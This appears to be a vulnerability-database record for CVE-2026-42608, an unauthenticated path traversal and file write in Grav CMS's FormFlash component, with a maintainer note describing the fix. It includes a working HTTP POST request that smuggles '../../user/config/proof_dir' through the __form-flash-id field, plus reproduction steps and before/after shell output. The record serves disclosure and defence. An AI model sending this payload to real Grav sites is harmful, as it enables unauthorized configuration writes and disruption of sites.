{"id":"CVE-2026-42608","aliases":["GHSA-hmcx-ch82-3fv2"],"url":"https://o3.security/vulnerability/CVE-2026-42608","summary":"Grav: Unauthenticated Path Traversal & Arbitrary File Write in FormFlash component.","details":"# Vulnerability Report: Grav CMS Unauthenticated Path Traversal & Arbitrary File Write\n\n**[ZERO-DAY] Unauthenticated Path Traversal leading to Arbitrary Directory Creation and Configuration Injection**\n\n## Summary\n\nGrav CMS (v1.7.49.5 and latest development source) is vulnerable to a Zero-Day Path Traversal vulnerability within the FormFlash core component. By manipulating the session_id (passed as `__form-flash-id` in POST requests), an unauthenticated attacker can traverse the filesystem to create arbitrary directories and write an `index.yaml` file containing attacker-controlled data.\n\nThis vulnerability can lead to unauthorized modification of application behavior, potential data integrity issues, and service disruption in production environments.\n\n## Affected Component\n\n- Versions: Confirmed in Grav v1.7.49.5 (latest stable) and the latest development source (March 2026).\n- Class: `Grav\\Framework\\Form\\FormFlash`\n- Method: `__construct()` / `getTmpDir()`\n- Parameter: `session_id` (Mapped to `__form-flash-id` in POST requests)\n\n## Vulnerability Details\n\nThe FormFlash class is used to persist form data across redirects. It constructs a temporary storage path using the provided session_id. The path construction logic in the latest source:\n\n```php\n$folder = $config['folder'] ?? ($this->sessionId ? 'tmp://forms/' . $this->sessionId : '');\n$this->folder = $folder && $locator->isStream($folder) ? $locator->findResource($folder, true, true) : $folder;\n```\n\nLack of sanitization on the sessionId (the raw session identifier) allows the use of `../` sequences. When `findResource` resolves the stream, it allows escape into any writable directory within the webserver's scope (typically `user/config/`, `cache/`, `logs/`, and `tmp/`).\n\n## Affected Versions & Zero-Day Status\n\n- Tested Version: v1.7.49.5 (Latest Stable Release as of Nov 2025).\n- Development Branch Status: Vulnerable. The latest source code in the GitHub develop branch (March 2026) remains unpatched.\n- Affected Range: All Grav CMS versions utilizing the FormFlash component (v1.7.x and potentially older v1.6.x versions).\n- CVE Status: Zero-Day (Non-Registered). Extensive research confirmed no existing CVE addresses this specific core FormFlash session-based traversal.\n\n## Steps to Reproduce\n\n1. Identify any page containing a Grav Form (e.g., `/contact`).\n2. Intercept the POST request during form submission.\n3. Modify the `__form-flash-id` parameter to include a traversal sequence targeting a writable directory (e.g., `../../user/config/proof_dir`).\n4. Submit the request.\n5. Observe that a new directory (`poc/`) and file (`index.yaml`) have been created at the traversed path.\n\n## Request Example\n\n```http\nPOST /contact HTTP/1.1\nHost: target.grav.cms\nContent-Type: application/x-www-form-urlencoded\n\n__form-name-=contact&__form-flash-id=../../user/config/proof_dir&form-data[name]=Attack&form-data[message]=Payload\n```\n\n## Response / Result\n\n- HTTP/1.1 302 Found (Standard redirect)\n- Filesystem Modification:\n  - Directory Created: `/var/www/html/user/config/proof_dir/poc/`\n  - File Created: `/var/www/html/user/config/proof_dir/poc/index.yaml`\n\n## Proof of Concept Evidence (Before/After)\n\n### Before Exploitation\n\n- Status: Directory does not exist.\n- Evidence:\n\n```bash\n$ ls -la /var/www/html/user/config/proof_dir/\nls: cannot access '/var/www/html/user/config/proof_dir/': No such file or directory\n```\n\n### After Exploitation\n\n- Status: Arbitrary directory and `index.yaml` created.\n- Evidence:\n\n```bash\n$ ls -la /var/www/html/user/config/proof_dir/poc/index.yaml\n-rw-rw-r-- 1 www-data www-data 158 Mar 23 22:15 /var/www/html/user/config/proof_dir/poc/index.yaml\n$ cat /var/www/html/user/config/proof_dir/poc/index.yaml\nform: ''\nid: ''\nunique_id: poc\n...\ndata:\n  poc_status: confirmed\n```\n\n## Impact\n\n- Clarified Cross-User Attack: By controlling the session identifier, an attacker can overwrite or interfere with other users temporary form data, breaking session isolation.\n- Configuration Injection: Writing `index.yaml` into plugin/theme configuration subdirectories can alter application behavior or inject malicious settings.\n- Data Integrity: Unauthorized modification of configuration subfolders can lead to widespread site corruption or logical bypasses.\n- Denial of Service (DoS): Recursive directory creation enables attackers to exhaust disk space or inodes (inode exhaustion).\n\n## Attack Requirements\n\n- Authentication: None (Unauthenticated)\n- Configuration: Standard Grav installation with at least one form-enabled page (e.g., Contact, Login, Registration)\n\n## Exploitability Assessment\n\n- Complexity: Low. Requires only basic HTTP POST parameters.\n- Reliability: 100% (Deterministically reproducible in vulnerable versions).\n- Severity: Critical / High. The vulnerability requires no authentication and allows filesystem manipulation and session data corruption.\n\n## Remediation\n\n1. Sanitize Session IDs: Apply `basename()` or a strict alphanumeric regex to the `session_id` in FormFlash before path construction.\n2. Filesystem Hardening: Ensure `user/config/` and other sensitive directories have restrictive permissions preventing the webserver from creating new subdirectories.\n3. Update Grav: Monitor for patches addressing FormFlash sanitization.\n\n---\n\n## Maintainer note — fix applied (2026-04-24)\n\nFixed in Grav core on the `2.0` branch: commit [`d904efc33`](https://github.com/getgrav/grav/commit/d904efc33) — will ship in **2.0.0-beta.2**.\n\n**What changed:** `FormFlash::__construct()` now sanitizes `session_id`, `unique_id`, and `id` through a strict `[A-Za-z0-9,_-]{1,64}` allowlist before any path is constructed from them. Invalid values collapse to `''`, which causes `save()`/`delete()`/`getTmpDir()` to no-op — so a `__form-flash-id=../../user/config/proof_dir` POST simply does nothing on disk.\n\n**Files:**\n\n- [`system/src/Grav/Framework/Form/FormFlash.php`](https://github.com/getgrav/grav/blob/2.0/system/src/Grav/Framework/Form/FormFlash.php)\n- [`tests/unit/Grav/Common/Security/FormFlashSecurityTest.php`](https://github.com/getgrav/grav/blob/2.0/tests/unit/Grav/Common/Security/FormFlashSecurityTest.php) — 32 test cases covering the PoC + variants.","published":"2026-05-11T15:02:15.956Z","modified":"2026-08-12T03:51:32.881883760Z","cvss":null,"epss":{"score":0.00521,"percentile":0.41884,"asOf":"2026-08-24"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"getgrav/grav","fixedVersion":"2.0.0-beta.2"}],"fix":{"url":"https://github.com/getgrav/grav/commit/c66dfeb5ff679a1667678c6335eb9ff3255dfc47","label":"getgrav/grav@c66dfeb"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/42xxx/CVE-2026-42608.json"},{"type":"ADVISORY","url":"https://github.com/getgrav/grav/security/advisories/GHSA-hmcx-ch82-3fv2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42608"},{"type":"WEB","url":"https://github.com/getgrav/grav/commit/c66dfeb5ff679a1667678c6335eb9ff3255dfc47"},{"type":"WEB","url":"https://github.com/getgrav/grav/commit/d904efc33e03ebb597afde8d3368b28cf0423632"},{"type":"PACKAGE","url":"https://github.com/getgrav/grav"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:32.881883760Z"}}